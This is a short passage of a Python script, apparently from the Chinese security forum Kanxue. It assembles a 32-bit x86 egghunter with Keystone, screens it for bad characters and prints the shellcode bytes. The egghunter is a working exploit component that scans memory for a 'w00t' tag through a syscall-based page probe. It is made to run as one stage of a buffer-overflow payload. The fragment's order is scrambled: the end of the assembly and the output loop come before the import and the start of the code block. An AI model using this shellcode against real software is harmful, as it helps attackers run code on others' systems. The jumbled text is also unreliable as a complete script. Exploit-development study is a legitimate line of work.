" matched: "
" jmp edi ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
badchars = [0x00, 0x0d, 0x0a, 0x25]
found_bad = False
for dec in encoding:
if dec in badchars:
print(f"[!] 警告: 生成的 Shellcode 包含坏字符: {hex(dec)}")
found_bad = True
egghunter += "\\x{0:02x}".format(int(dec))
if not found_bad:
print("[+] Shellcode 生成成功,无坏字符!")
print("egghunter = b\"" + egghunter + "\"")
from keystone import *
CODE = (
" xor edx, edx ;"
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;"
" push edx ;"
" push 0x2 ;"
" int 0x2e ;"
" cmp al, 0x05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!